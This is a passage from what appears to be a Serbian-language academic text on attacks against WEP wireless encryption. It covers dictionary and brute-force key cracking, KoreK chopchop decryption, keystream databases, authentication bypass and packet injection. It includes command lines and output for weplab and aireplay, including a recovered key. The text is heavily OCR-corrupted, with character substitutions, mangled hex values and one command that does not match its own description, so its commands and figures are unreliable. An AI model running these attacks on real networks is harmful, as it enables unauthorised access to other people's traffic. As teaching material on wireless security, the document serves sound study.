otprilike jednaka polovini one brzine koju je moguée posti¢i ako postoji pristup
internoj mrezi. Nekoliko posebnih problema se javlja pri pokuSaju ubacivanja paketa.
Najveca brzina ubacivanja paketa postignuta u ovom radu je 800 ubacenih paketa u
sekundi. Sluc¢aj koji je iznad naveden, kada se primeni zajedno sa ,,IV akceleracijom”
uzeo bi nesto manje od pet minuta za dobijanje WEP kljuca.

Uglavnom je viSe od 231129 jedinstvenih IV-a potrebno da bi se razbio kljuc.
»Kvalitet” prikupljenih kriptovanih 1V-a je povezan sa uspesnoscu krekovanja. Ima
slu¢ajeva kada 10,000,000 jedinstvenih IV-a ne daje rezultat u dobijanju kljuca.
Napad je zasnovan na statistickim analizama i ponekad ta Cinjenica dovodi do
neuspeha u krekovanju kljuca. Neki skupovi IV-a i kriptovanih poruka ¢ini se vode
statistiku u pogresnom pravcu. Ta Cinjenica je potvrdena od strane autora Aircrack-a
pa su delovi algoritma za krekovanje kljuca, posebno ,,KoreK” algoritma, izbaceni,
posebno ako postoji mogucnost da se ¢istim brute-force napadima dobiju zadnja dva
bajta klju¢a. Uzorak sastavljen od prikupljenih paketa, kriptovanih sa klju¢em od 40
bita, obezbeden u [9] pokazuje da se koristi 174476 jedinstvenih IV-a za postavljanje
napada, Aircrack moze pronaéi klju¢ posle testiranja 1184 kljuca (8 sekundi
vremena). Ali ako prosirimo broj prikupljenih paketa na 331829 jedinstvenih 1V-a,
Aircrack ¢e dati rezultat posle nekoliko minuta.

7.2.2.2 Dobijanje Passphrase Seeded WEP klju¢a

Vecina WLAN opreme prihvata passphrase kada se inicijalno postavlja mreza
sticena sa WEP. Ta passphrase je koriS¢ena za generisanje WEP kljuca. Proizvodaci
opreme imaju razli¢ite metode koris¢enja passphrase da bi se doslo do kona¢nog WEP
kljuca. Jedan metod ga koristi da napravi hash od passphrase sa MD5. Posto MD5
zahteva 128 bita kao ulaz, passphrase se prosiruje. Prosirenje je razli¢ito u zavisnosti
od proizvodaca. Dok 3com radi proSirenje sa null karakterima, Lynksys ponavlja
passphrase string dok ne dosegne duzinu od 128 bita. Kona¢no MDS5 hash kod 3com
opreme je 2A-B1-DD-37-6E-93-57-D7-7B-8D-54-67-B0-AC-2D-A2, a kod Lynksys
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opreme je to C3-8B-C1-61-4B-EB-F4-8C-7C-E7-99-58-79-C7-AF-39. Samo se prva
104 bita koriste za WEP kljug.

To relativno direktno vodi ka re¢nickom napadu. ICV se koristi za verifikaciju dali je
paket dekriptovan sa ispravnim klju¢em. Nekoliko dodatnih paketa se moze koristiti
za ispitivanje kako bi se eliminisale donete greske.

Evo kako softverski alat sprovodi napad tipa brute-force:

1. Propusta WEP kriptovani paket i izdvaja IV, kriptovani tekst (ukljucujuéi
ICV).

2. Bira rec iz re¢nika, i radi njen hash kao $to je gore objaSnjeno.

3. Dodaje generisani WEP klju¢ izdvojenom IV-u.

4. Koriste¢i RC4, generiSe sekvencu dugu koliko i izdvojeni kriptovani tekst
payload.

5. Vrsi XOR nad otvorenim tekstom i sekvencom kljuca (dekriptuje).

6. Racuna ICV dekriptovanih podataka.

7. Poredi izracunati ICV i ekstrakovani ICV.

8. Ako su isti, pogadani WEP klju¢ moze biti korektan WEP kljuc.

9. Dalja provera testiranjem klju¢a sa joS WEP kriptovanih okvira, ili

pregledanje dekriptovanog otvorenog teksta da bi se uodile eventualne
primedbe.
WEP Lab je softverski alat koji ove korake obavlja automatski. On zahteva skup
kriptovanih WEP okvira podataka i listu passphrases. Ako je ispravna passphrase u toj
listi, WEPLab ¢e ispitati da li je korektan WEP klju¢, i prikazati ga. Da bi eliminisao
donete greske, on ispituje klju¢ na 10 paketa.

:~/ Tools /weplab -0.1.4.Vlada -w:../ engl -stdout |./ weplab -y -d1 --attack 3 -k 128 ~/ dump/ dump2 . cap
weplab - Wep Key Cracker Wep Key Cracker (v0 .1.4) .

Jose Ignacio Sanchez Martin - Topo[LB] <topolb@users. sourceforge .net >
18 % readNot BSSID specified .

Detected one packet with BSSID : [00:13:10:9 B:47: F1]

Only packets belongs to that BSSID will be processed .

If -a option reveals other BSSIDs you can specify one with --bssid .
Total valid packets read: 11

Total packets read: 260

10 packets selected .

Packet 0 --> 86 total lenght , 58 data lenght (just encrypted data)
Packet 1 --> 86 total lenght , 58 data lenght (just encrypted data)
Packet 2 --> 86 total lenght , 58 data lenght (just encrypted data)
Packet 3 --> 116 total lenght , 88 data lenght (just encrypted data)
Packet 4 --> 104 total lenght , 76 data lenght (just encrypted data)
Packet 5 --> 104 total lenght , 76 data lenght (just encrypted data)
Packet 6 --> 368 total lenght , 340 data lenght ( just encrypted data)
Packet 7 --> 368 total lenght , 340 data lenght ( just encrypted data)
Packet 8 --> 368 total lenght , 340 data lenght ( just encrypted data)
Packet 9 --> 96 total lenght , 68 data lenght (just encrypted data)
Statistical cracking started ! Please hit enter to get statistics from Vlada.
Weplab statistics will be printed each 5 seconds

It seems that the first control data packet verifies the key ! Let ’stest it
with others ....

Right KEY found !!

Key : ¢3:8b:cl:61:4 b:eb:f4 :8c:7c:e7 :99:58:79

This was the end of the dictionnary attack .

Slika 7.2.2.2 WEPLab ispitivanje passphrase seeded WEP kljuceva

Listing na Slici 7.2.2.2 prikazuje WEPLab softver pri pokusaju da metodom brute-
force pogodi passphrase tajnog WEP kljuca. Inicijalna komanda “john -w../english -
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stdout” je pokretanje populanog alata za generisanje passworda koji se zove ,,John
The Ripper”. On uzima re¢i iz Engleskog jezika sa liste, i kombinuje re¢i na nacin
kako to i korisnici rade kada biraju passphrase. Generisani passphrase se prosleduje u
WEPLab koji obavlja testiranje nad klju¢em koji passphrase generise. Kao Sto se vidi
sa listinga, WEPLab najpre na izlazu Stampa neke informacije kao Sto je BSSID i
duzina podataka kriptovanih okvira koji su obezbedeni na ulazu. Na kraju kada
WEPLab pronade ispravan WEP klju¢ on ga prikaze. U ovom primeru passphrase je
simbal23 uz upotrebu 3com passphrase algoritma.

7.2.2.3 Dvostruko kriptovanje (double encryption)

WEP Koristi potpuno isti mehanizam za kriptovanje i dekriptovanje. Ako
klijent ili pristupna tacka greskom ponovo Kriptuje ve¢ kriptovani tekst, time ce
prakti¢no dekriptovati frejm i poslati otvoreni tekst na predaju. Kako se odvija napad
pokazuje Slika 7.2.2.3.

v WEP kriptovano Uhvaceno iz etera
Zaglavlja otv. teksta Uhvaéeno iz etera Preneto iz spoljne mreze

A
vy

WEP kriptovanje

vV Kriptovana zaglavija Dekriptovani bajtovi Preneto unutar WLAN mreze

Slika 7.2.2.3 Napad tipa dvostruko kriptovanje

Da bi se dekriptovao sadrzaj odredenog paketa, ubacivanje kriptovanog sadrzaja mora
da se obavi kada klijent ili tacka pristupa kriptuje koristeci isti IV kojim je odabrani
kriptovani paket kriptovan. PoSto ima 224 [V-a, to napad ¢ini sporijim. SreCom po
napadaca, broj je znatno manji ako klijent ili tacka pristupa odbaci delove skupa I'V-a.
Neki klijenti i pristupne tacke koriste sekvencijalnu Semu i tako generisanje 1V-a ¢ine
predvidljivim i omogucavju mu da ubaci paket ta¢no na vreme.

Znatno efikasniji nafin za implementaciju napada je koris¢enje (Internet Control
Message Protocol) ICMP eho request i echo replay paketa. Ako je moguce, poslati
jedan ICMP echo request klijentu u WLAN mrezi. Payload u okviru jednog echo
request moze biti bilo Sta i moze biti bilo koje veli¢ine, u okviru ograni¢enja koja
mreza dozvoljava. Payload moze da sadrzi kriptovani paket, ¢iji je offset jednak
duzini svih zaglavlja paketa. Kada se paket pojavi u WLAN mrezi, pristupna tacka ¢e
ga kriptovati. Slati $to je vise moguée echo request-a sve dok ih pristupna tacka
kriptuje pod Zeljenim IV. Ovaj napad ¢ini oko dva puta brzim, to Sto kada klijent
odgovara na zahtev, on Salje potpuno isti payload kao odgovor, samo kriptovan pod
drugim novim IV.

Ofset za koriS¢enje u ICMP verziji napada je 40 bajta: 8 bajta SNAP zaglavlja od
Etherneta, 24 bajta za IP zaglavlje i 8 bajta za ICMP zaglavlje. To znaci da ¢e sve
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osim prvih 40 bajtova mo¢i da se dekriptuje. Ako je kriptovani paket TCP/IP, onda je
TCP/IP zaglavlje najmanje 24 + 32 = 56 bajtova dugo. Sto neizostavno znaci da je
moguce dekriptovati sve podatke u TCP/IP paketu, i 56 — 32 = 24 zadnja bajt TCP
zaglavlja-samo su izvoridni i odredisni broj porta TCP zaglavlja izgubljeni.

Postoji drugi nacin da se ucestvuje u raspodeli mreznog dekriptovanja podataka. U
Semi chalenge-response WEP autentikacije, tacka pristupa daje nonce klijentu i klijent
treba da ga kriptuje koriste¢i klasitan WEP metod. Napada¢ moze poslati
deautentikovan okvir klijentu. Kada klijent pokusa da se ponovo autentifikuje,
napada¢ moze poslati otvoreni tekst kriptovanog paketa kao nonce. Napada¢ moze
otkriti prvih 128 bajtova kriptovanog otvorenog teksta. Sa otprilike 0.5 pokuSaja u
sekundi i klijentovo kriptovanje svaki put kada je novi IV, iz nefiltriranog skupa IV-a,
to bi trajalo oko 9320 casa, ili oko 388 dana. 50% Sanse za uspeh je posle polovine
tog vremena. Samo u izuzetnim sluc¢ajevima ¢e napada¢ biti istrajan u tako dugom
vremenskom periodu. Ako bi to bio jedini moguci napad na WEP, to bi na primer
moglo da se koristi za pronalazenje passworda iz protokola sa otvorenim tekstom, kao
Sto su protokoli za proveru e-maila. Ta¢no, onaj okvir koji sadrzi password, moze da
se izdvoji uparivanjem komunikacionih modela i veli¢ina okvira koji su zajednicki za
protokol. Postoje slabosti WEP-a koje se lak3e i sa viSe efekta mogu iskoristiti.
Trenutno nema dostunih ni javno poznatih alata koji automatizuju ovu vrstu napada.

7.2.2.4 Napad pomocu poznatog otvorenog teksta

Dodatne informacije o kriptovanom tekstu dostupne su preko (kriptovanog)
ICV. ICV se koristi da proveri da li je paket validan ili nije. Ako je paket validan on
¢e biti prihvaé¢en od primaoca, ako nije bi¢e odbacen. Pod tim okolnostima u WEP
kriptovanoj WLAN mrezi, jedan napad odabranim otvorenim tekstom moze se izvesti
da bi se dekriptovao jedan kriptovani okvir:
1. Prikupljanje kriptovanih paketa koji su procenjeni kao interesantni.
2. Procenjivanje sa velikom verovatno¢om prvih n bajtova podataka.
3. Izracunavanje ICV za n-3 bajtova.
4. Spajanje n-3 bajta i ICV i njihovo XOR-ovanje sa odgovaraju¢im sekvencom toka
kljuca (koja je dobijena XOR-ovanjem n bajtova sa stvarnim kriptovanim paketom).
5. Dodavanje na kraj jednog bajta, procenjenog pomocu brute-force napada.
6. Slanje paketa ka prijemnoj tacki (AP).
7. Ako je paket validan, zadnji bajt je zadnji bajt ICV-a. Njegova stvarna
dekriptovana vrednost je u ovom trenutku nepoznata. Medutim, kako su svi bajtovi
pre poslednjeg bajta poznati, primenom (CRC) Cyclic Redundant Check na poznate
podatke da bi se dobio ICV ¢e dati pravu vrednost zadnjeg bajta — a na ovaj nacin i
bajt sekvence kljuca.
8. Ako je paket neodgovarajuci, i¢i na korak 5 i uzeti drugu procenu zadnjeg bajta.

Napad je opisan u Real 802.11 Security [10, str. 326-329], gde je koautor Profesor
William A. Arbaugh, koji je objavio rad o ovom napadu u 2001. god. On ima
zatvorenu aplikaciju uz pomo¢ koje tvrdi da moze dekriptovati okvir podataka od
1500 bajta za oko 42.8 minuta. Varijacija ovog napada je implementirana od strane
anonimnog hakera ,,KoreK*, koji je objavio implementaciju kao softverski alat,
Chopchop u 2004. god. na online diskusionom forumu [11]. ,KoreK“ varijanta
napada obavlja napad u obrnutom redosledu nad podacima. On pocinje sa procenom
zadnjeg bajta u paketu dok ne dostigne deveti bajt. Prvih devet bajtova se procenjuju
na osnovu priblizno istih zaglavlja u paketima podataka.
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Vreme koje mu je potrebno da dekriptuje okvir raste linearno sa duzinom okvira.
Cinjenica je da napad uvodi moguénost da se dobije proizvoljno duga sekvenca
kljuca, iz bilo koje duzine okvira podataka. Na primer ¢ak 1500 bajta sekvenca kljuca
iz 64 bajta dugog okvira podataka.

# ./ aireplay -h 00:0E :35: A3 :0F :56 -k eth3

Option -x not specified , assuming 256.

Seen 26 packets ...

FromDS =0, ToDS=1, WEP =1

BSSID = 00:0D :54:9 D:EC :4B

Src . MAC = 00:0E :35: A3 :0F :56

Dst . MAC = FF:FF:FF:FF:FF:FF

0 x0000 : 0841 0000 000 d 549 d ec4b 000 e 35a3 0f56 .A....T..K ..5.. V
0 x0010 : ffff ffff ffff 1004 807 f 5300 6295 ff14 ........ S.b...

0 x0020 : ea4l 744 e 6548 787 d 6¢c5 0c26 cb6eb c428 . AtNeHx }H ..&...(
0 x0030 : 5802 332 e 303 e 52b8 a718 ddba a2bc bf7a X.3.0 >R ........ z
0 x0040 : be9d 58 da ..X.

Use this packet ? y

Saving chosen packet in replay_src -050622 -010218. pcap

Operating in authenticated mode.

Offset 67 (0% done ) | xor = 2F | pt = F5 | 235 frames written in 919 ms
Offset 66 (2% done ) | xor =76 | pt = 2E | 223 frames written in 870 ms
Offset 65 (5% done ) | xor =40 | pt = DD | 4 frames written in 15 ms

Offset 36 (91% done ) | xor = 65 | pt = 00 | 221 frames written in 863 ms
Offset 35 (94% done ) | xor = 48 | pt = 06 | 253 frames written in 988 ms
Offset 34 (97% done ) | xor = 7C | pt = 08 | 231 frames written in 903 ms
Saving plaintext in replay_dec -050622 -010218. pcap

Saving keystream in replay_dec -050622 -010218. prga

Completed in 23s (1.30 bytes /s)

# hexdump eplay_dec -050622 -010218. prga

0000000 780 0053 3fc8 14fc 41 ea 487 ¢ 4965 7d70

0000010 c16a 270 ¢ c5¢6 8 bfl 5457 86 f3 2531 b852

0000020 18 a7 badd 1462 7 fbe 40 d1 2f76

000002 ¢

Slika 7.2.2.4.1 Listing Aireplay izvrSava napad otvorenim tekstom

# tcpdump -r replay_dec -050622 -010218. pcap
reading from file replay_dec -050622 -010218. pcap, link -type IEEE802_11 (802.11)
01:02:18.889097 arp who - has 192.168.1.5 tell 192.168.1.27

Slika 7.2.2.4.2 TCPDump prikazuje dekriptovane okvire

# hexdump eplay_dec -050622 -010218. prga
0000000 780 0053 3fc8 14fc 41 ea 487 ¢ 4965 7d70
0000010 c16a 270 ¢ c5¢6 8 bfl 5457 86 f3 2531 b852
0000020 18 a7 badd 1462 7 fbe 40 d1 2f76

000002 ¢

Slika 7.2.2.4.3 Hexdump prikazuje sekvencu kljuca

Slika 7.2.2.4.1 prikazuje “aireplay” iz Aircrack kako izvrSava “KoreK” verziju napada
(sa parametrom —k). Namena alata je da uzme sekvencu kljuc¢a i zatim ¢e osluskivati
pakete za koje veruje da ih moZze dekriptovati brzo. Parametar —h 00:0E:35:A3:0F:56
¢e naterati aireplay da prima samo pakete poslate sa navedene MAC adrese. Posle
pregledanja 26 okvira, pronalazi jedan za koji veruje da ga je moguée brzo
dekriptovati. Korisnik odobrava dekriptovanje paketa, i napad pocinje. Prvi bajt je
pronaden posto je isprobano 235 vrednosti za taj bajt. Drugi nakon 223, i tako redom.
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Kada se dode do svih bajtova, sekvenca klju¢a i otvoreni tekst se smestaju u fajl. U
datom primeru je uradeno dekriptovanje za 23 sekunde. PoboljSanje sa pokuSajem da
se paralelno vise razli¢itih vrednosti proba za zadnji bajt znac¢ajno povecava brzinu
napada. Dekriptovani okviri su prikazani u ,,TCP Dump” na Slici 7.2.2.4.2, a Slika
7.2.2.4.3 pokazuje ,,hexdump” i u njemu prikazanu sekvencu kljuca smestenu u .prga
fajl.

Napad tipa ,,KoreK” koji koristi Aircrack ima nekih nedostataka. On ne radi potpuno
na svim pristupnim tackama. Neke pristupne tacke odbacuju svaki okvir koji ima
payload manji od 40 bajta. Prema tome prvih 40 bajtova nece biti dekriptovano ovim
napadom, ali ostali bajtovi hoce. To znaci da u ovoj verziji napada prvih 40 bajtova
mora biti poznato/pretpostavljeno pre nego Sto se dedukcijom dode do otvorenog
teksta ostalog dela podataka. Lynksys WRTS54G i WAPS54G pristupne tacke odbacuju
sve pakete koji imaju manje od 40 bajtova podataka. Samo nekolicina pristupnih
tacaka je osposobljeno da dozvoljava male korisne tekstove (payload). Primer iznad je
napad tipa brute-force protiv jedne Prism54 PC Kkartice pod Linux OS i Prism 54
drajvera u master modu. (,,Master mod” je kada mrezna kartica igra ulogu pristupne
tacke).

U WPA dodatni mehanizam za proveru integriteta je implementiran uz koris¢enje
Message Integrity Code (MIC). MIC koristi odvojene kljueve za generisanje
njihovih vrednosti i zastitu od napada.

7.2.2.5 Inicijalni vektor (1V) i baza sekvence kljuc¢a

Ako je dat IV i odgovarajuca sekvenca kljuca, moguce je dekriptovati neki
drugi okvir koristeci isti IV sve do isteka duzine sekvence kljuca. Pravljenjem baze
podataka svih mogucih I'V-a i odgovarajuéih sekvenci kljuca, dekriptovanje bilo kojeg
kriptovanog okvira postaje trivijalno. Trenutni kriptovani klju¢ se ne dobija, ali on
nije neophodan sve dok imate sekvencu kljuca i IV. Postoji 224 moguca IV-a. Najveci
moguci data payload je otprilike 1500 bajta. Kompletna baza podataka ¢e zauzeti oko
24GB.

Najbolji na¢in da se napravi takva baza je da se iskoristi prednost dobijena napadom
odabranim otvorenim tekstom iz predhodnog stava i ICMP echo request na isti na¢in
kao Sto se koristi u napadu dvostrukim kriptovanjem u odeljku 7.2.2.3. Koris¢enjem
napada odabranim otvorenim tekstom, moze se dobiti Citava duzina sekvence kljuca.
Sa tom jednom sekvencom kljuca, ostatak sekvenci kljuca sa njihovim jedinstvenim
IV se jednostavno dobija. Ubacivanjem pune duzine ICMP echo request-a prema
svakom klijentu u mrezi, oni ¢e odgovoriti sa potpuno istim ICMP podacima kao §to
su u ubacenom paketu. Na ovaj nain je otvoreni tekst i kriptovani tekst postao
poznat, pa tako i sekvenca kljuca postaje poznata.

Sa brzinom ubacivanja od 800 paketa/sekundi i 800 ICMP odgovora u sekundi,
kompletna baza podataka IV-a i sekvenci kljuceva se moze napraviti za 224/800 ~
20,972 sekundi, Sto je oko 6 ¢asova. Ako nekoliko mreza koristi isti kljuc, napad se
moZze obavljati paralelno Sto znacajno skracuje vreme.

Obic¢no tacke pristupa i klijenti odbacuju IV za koje pretpostavljaju da su ,,slabi®.
Rezultat toga je da se smanjuje broj jedinstvenih IV koji se koriste, na mnogo manji
broj nego Sto ih ukupno ima. Real 802.11 Security [10] preporucuje jo$ agresivnije
smanjenje 1V prostora na 218 Sto je 262,144 jedinstvena 1VV-a. Baza podataka o njima
se moze napraviti za pet minuta, sa stvarno velikom brzinom ubacivanja. 262144 je
najmanje jedinstvenih IV koje napad krekovanja WEP klju¢a moze da zahteva.
Medutim agresivno filtriranje nije ocigledno kod bilo koje opreme testirane tokom
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izrade ovog rada. JoS se niko nije potrudio da ovaj napad implementira za javnu
upotrebg. Jedna od prednosti ovog napada je potpuna nezavsnost od velicine WEP
kljuca. Cak ni 1Mbit ne bi imao efekta protiv ovog napada.

7.2.2.6 Preusmeravanje paketa

Istaknuti integritet nije nesto Sto WEP obezbeduje, ali realno to ne obezbeduje
ni ekvivalentna zi¢na mreza. Posto IEEE 802.11 standard [12], Sekcija 8.2.3,
naglaseno tvrdi da postoji ICV izraunat nad otvorenim tekstom “da bi §titio od
neautorizovanih modifikacija”. ICV je implementiran kao CRC koji ne obezbeduje
zastitu od zlonamernih izmena. Napada¢ je u moguc¢nosti da komplementira bite u
polju podataka zajedno sa pridodatim ICV da izmeni podatke tako da primalac ne
primeti da je postojala modifikacija. Nacin kako se sprovodi korekcija ICV posle
modifikacije podataka je iznet u dodatku Real 802.11 Security [10].
Napada¢ moze da pokuSa sa promenom odredista paketa tako da on stigne na neku
masinu koju on kontroliSe. On pri tome mora znati dve stvari pre nego Sto pristupi
napadu; to je pozicija odrediSne adrese u paketu, i vrednost odrediSne adrese. Ako to
ima, on moze da uradi XOR originalne odredisne adrese i kriptovanom adresom da bi
dobio sekvencu kljuca za taj bajt. Tada moze da uradi XOR sekvence kljuca i adrese
na koju namerava da preusmeri paket i rezultat postavi zajedno sa ostalim
kriptovanim originalnim bajtovima. Sada joS mora modifikovati kriptovani ICV tako
da bi frejm ostao validan.
Kao prvo, ovaj napad zahteva od napadaca da bude u poziciji man-in-the-middle.
Samo napada¢ moze da vidi originalni saobracaj, poSto pristupna tacka prima samo
modifikovane okvire, bez ijednog orginalnog. Napada¢ moze da pokupi saobracaj,
modifikuje zaglavlja, i vrati ponovo u mrezu u bilo koje vreme. Ima dosta sloZenih
problema koje pri tome treba resiti kao Sto je pitanje prolaska paketa kroz ruter ili
firewall. Nema javno poznatog softvera koji sluzi za napad preusmeravanjem ili
modifikaciju paketa. Razlog za to je svakako mogucnost primene jednostavnijih
napada kao Sto je krekovanja WEP kljuca koji se koristi umesto ovog napada.

7.2.2.7 Napad grubom silom na WEP klju¢

WEPLab kao S$to je ve¢ pomenuto u ovom radu takode omogucéava

jednostavan nacin za testiranje svakog moguceg WEP klju¢a na validnost. On
proverava preko 300000 kljuceva u sekundi na prose¢nom PC racunaru. Za 104 bitni
kljuc to bi trajalo 2,143,836,631,537,678,676 / 2 godina. A 40 bitni klju¢ bi verovatno
mogao da se sa verovatno¢om od preko 50% otkrije za 21 dan. To vreme nije
nedostizno pa je zbog toga 40 bita bila granica za odobravanje izvoza osetljive
opreme iz SAD. Nije nerealna pretpostavka da dobro opremljenje agencije i vladine
sluzbe imaju moguénost da razbiju 40 bitni klju¢ skoro u realnom vremenu.
Na slici 7.2.2.7 je pocetak napada tipa brute-force na 40 bitni klju¢ WEPLab je
pokrenut sa parametrima —b i -64 da bi se napad usmerio na 40 bitni klju¢. Najpre se
vr$i ucitavanje velikog broja prikupljenih paketa koji su smeSteni u fajl dump.cap,
onda se odabere 10 od njih da bi se uradila validacija kljuca koji se proverava. Na
kraju proces pogadanja kljuceva pocinje, poslednja linija pokazuje dokle se stiglo sa
testiranjem 16,941,566 kljuc pri brzini od 308,028 kljuca/sekundi i trenutno se testira
klju¢ £d:81:02:01:00.
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weplab -b -d 1 -k 64 dump.cap

weplab - Wep Key Cracker Wep Key Cracker (v0.0.8 - beta ).

Jose Ignacio Sanchez Martin - Topo[LB] topolb@users. sourceforge .net
Total valid packets read : 333539

Total packets read : 1149079

10 packets selected .

Packet 0 --> 60 total lenght , 32 data lenght
Packet 1 --> 60 total lenght , 32 data lenght
Packet 2 --> 60 total lenght , 32 data lenght
Packet 3 --> 60 total lenght , 32 data lenght
Packet 4 --> 60 total lenght , 32 data lenght
Packet 5 --> 60 total lenght , 32 data lenght
Packet 6 --> 60 total lenght , 32 data lenght (just encrypted data)

Packet 7 --> 60 total lenght , 32 data lenght (just encrypted data)

Packet 8 --> 60 total lenght , 32 data lenght (just encrypted data)

Packet 9 --> 269 total lenght , 241 data lenght (just encrypted data)

Launched process number 0

Process number : 0 ===> 16941566 keys tested [308028 c/s] >>> Key : fd :81:02:01:00

just encrypted data)
just encrypted data)
just encrypted data)
just encrypted data)
just encrypted data)
just encrypted data)

e

Slika 7.2.2.7 WEPLab krekovanje 40 bitnog klju¢a metodom grube sile
7.2.3 NaruSavanje autentikacije
7.2.3.1 Mehanizam za autentikaciju

Klijent Pristupna tacka
(AP)
Zahtev

>
»

Siguran slu€ajno generisani broj - nonce

<

Sifrovano - E(honce)

D(E(nonce)))==nonce

uspesno
< p If true

v - neuspesno y else

Slika 7.2.3 Protokol za autentikaciju sa deljenim kljucem

Postoje dva moda za autentikaciju:
Otvoreni sistem: Dozvoljava bilo kome da se pridruzi na pristupnu tacku (AP).
Deljeni klju¢: Dozvoljava pridruzivanje samo klijentima koji znaju deljeni kljuc.

Otvoreni sistem za autentikaciju je null mehanizam autentikacije. Ovim
naCinom autentikacije tacka pristupa nije u moguénosti da utvrdi da li je klijent
validan. Ovaj nedostatak predstavlja sigurnosnu slabost ukoliko u WLAN-u nije
primenjen WEP. Cak i sa statiénim WEP-om, omoguéenim kod klijenta i tacke
pristupa, otvorena autentikacija ne pruza nacin utvrdivanja ko koristi WLAN uredaj.
Autorizovani uredaj u rukama neautorizovanog korisnika predstavlja pretnju po
bezbednost mreze jednaku onoj koju omoguéuje i mreza bez sigurnosnih
mehanizama.
Autentikacija deljenim klju¢em (Shared Key) koristi pojednostavljenu chalenge-
response Semu, kao Sto je prikazano na Slici 7.2.3. Kada klijent pokuSa da se
konektuje na pristupnu tacku, on prima niz karaktera otvorenog teksta, koji se naziva
nonce ili chalenge-text. Kao preduslov da bi se klijent autentikovao potrebno je da zna
WEP kljug, i kriptovanjem kljuca koriste¢i klasicno WEP kriptovanje: E(nonce) na

57



slici. Klijent zatim Salje tako kriptovan odgovor. Pristupna tacka dekriptuje odgovor
D(E(nonce)), i poredi rezultat sa nizom koji je poslala kao nonce. Ako su identi¢ni
pristupna tacka Salje odgovor klijentu sa pristankom na konekciju, ako nonce ne
odgovara, odgovor pristupne tacke je negativan.

Autentikacija deljenim klju¢em moze da se obavlja u obe vrste, WEP kriptovanim
mrezama i u mrezama gde nema kriptovanja. U mrezama gde nema kriptovanja WEP
i tajni WEP kljuc se jo$ uvek zahteva, osim ako se sav saobracaj ne Salje kao otvoreni
tekst.

Provera autenti¢nosti deljenim klju¢em zahteva od klijenta da koristi unapred podesen
WEP klju¢ za kriptovanje teksta (challenge) dobijenog od tacke pristupa. Proces
razmene teksta se obavlja preko bezicne veze i podlozan je riziku da se dode do
sadrzaja teksta (napad poznat kao plaintext attack). Ova slabost autentikacije deljenim
klju¢em se bazira na matematickom principu koji stoji iza procesa kriptovanja. Proces
kriptovanja se obavlja primenom matematicke operacije ekskluzivno ili (XOR).
Ukoliko se na ¢ist tekst i njemu odgovarajuci kriptovani tekst primeni operacija XOR,
rezultat je tok kljuca za WEP kljuc i IV par.

7.2.3.2 Jednostrana autentikacija

Dobro poznati nedostatak protokola je da se samo sa jedne strane wvrSi
autentikacija. Klijent se autentikuje pred pristupnom tackom, ali se pristupna tacka ne
autentikuje klijentu. Tako je mogucée postaviti laznu pristupnu tacku koja bi se
prikazivala kao prava, i prihvatala klijente umesto prave pristupne tacke. Imitacija
pristupne tacke je poznata pod nazivom rogue access point. Ako bi u prvom okviru
koji salje klijent stajao zahtev pristupnoj tacki da se ona autentikuje, a nakon toga bi
se klijent autentikovao prijemnoj tacki, to bi bila dvostrana autentikacija.

7.2.3.3 Bilo ko se moze autentikovati

Ali postoje joS ozbiljniji propusti od jednostrane autentikacije. Svako ko ima
sekvencu kljuca i IV za zadnjih 136 bajta se moze autentikovati na pristupnu tacku.
Na osnovu Slike 7.2.1. i jednakosti (7.2.3.3.1), (7.2.3.3.2) i (7.2.3.3.3) se vidi kako
klijent moze da napravi odgovor.

Sekvenca klju¢a = RC4 ( IV || WEP key) (7.2.3.3.1)
ICV = CRC32(nonce) (7.2.3.3.2)
E(nonce) = (nonce|ICV ) @Sekvenca _ kljuca (7.2.3.3.3)

Pri tome se korak u relaciji (7.2.3.3.1) moze izostaviti ako su ve¢ poznati sekvenca
klju¢a 1 IV. Uslov da je poznat WEP klju¢ je eliminisan. U zavisnosti od
implementacije na pristupnoj tacki, moze se pokupiti validna chalenge — response
sesija 1 tako obezbediti sekvenca kljuc¢a. Dobre implementacije ne dozvoljavaju da se
IV koristi vise od jednog puta, ikada. Medutim 802.11 standard implicira da je to
dozvoljeno. Ako je koris¢enje IV dobijenog na osnovu prethodne sesije chalenge-
response odbijeno, postoji drugi nac¢in da se dode do sekvence kljuca.

Slabost sledi iz €injenice da klijent stvarno ne dokazuje pristupnoj tacki da on zna
WEP klju¢. Klijent samo dokazuje da je u mogucénosti da napravi paket sa odredenim
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sadrzajem, §to nije tako teSko ako ima sekvencu kljuca i IV. Napad je takode opisan u
Real 802.11 Security [10, str. 330].

7.2.3.4 Zamena MAC adrese (Spoofing)

Ako je autentikacija omogucena a Kriptovanje nije, autentikacija je podlozna
naruavanju u svakom sluéaju. Cak i da je mehanizam autentikacije potpuno savrsen,
on ne moze da zaustavi nikoga ko potura MAC adresu korisnika koji je veé
autentikovan. To znaci da je dobijanje pristupa isto Sto i zaobilazenje MAC adresnog
filtera.

7.2.4 Ubacivanje Paketa (Packet Injection)

Moguce je ubaciti kriptovane pakete proizvoljnog tipa i podatke. Jedan IV i
njemu odgovarajuca sekvenca klju¢a se mora poznavati da bi bilo moguée takvo
ubacivanje. U odeljku 7.2.2 se govori o nacinima za dobijanje sekvence kljuca.
Postoje jo$ neki nacini da se dode do sekvence kljuca, npr. preko inicijalnog
mehanizma autentikacije. Sekvenca klju¢a se moze koristiti nekoliko puta, cak i
uzastopno. To je zato Sto nema pravila za odredivanje vrednosti 1V — IV nije redni
broj kao Sto bi trebalo da bude, a to je tako i kod WPA kriptovanja.

Jednom kada se dobije odgovarajuci tok kljuca, bilo koji podaci nesto manje

duzine od toka kljuca se mogu ubaciti. Ako je tok kljuca kratak, on se moze produZziti
pomocu napada poznatim otvorenim tekstom. ICV je izracunat i dodat podacima i
rezultat toga se XOR-uje sa sekvencom klju¢a a na kraju ubacen u data okvir sa
odgovaraju¢im IV.
Kao Sto je navedeno u odeljku 7.2.2.1, najmanje 2900/2=1450 paketa/sekundi je
moguce ubaciti. Medutim u eksperimentima sa retransmisijom i ubacivanjem paketa
neke pristupne tacke (kao $to je Linksys WRT54G) dolaze u potpuno zagusenje kad
god im prispe vise od 800 paketa/sekundi. Tada pristupna tacka ne moze da nastavi sa
radom dok se ne uradi resetovanje prekidom napajanja. U tom periodu ¢e odgovor
AP-a na sve prispele okvire biti deautentikovan okvir. Najverovatnije da je razlog za
to Sto odgovor od pristupne tacke nije nikada potvrden sa acknowledgement okvirom
od napadaca. Tako pristupna tacka vidi da neSto nije u redu. Neke kompletnije
implementacije uspevaju da posalju potvrdu prijema, ali i one imaju poteskoca sa
vremenom potrebnim za softversku obradu prispelih paketa, Sto opet ne pomaze da se
poveca broj ubacenih paketa u sekundi.

IV || Chalenge Response/Signature
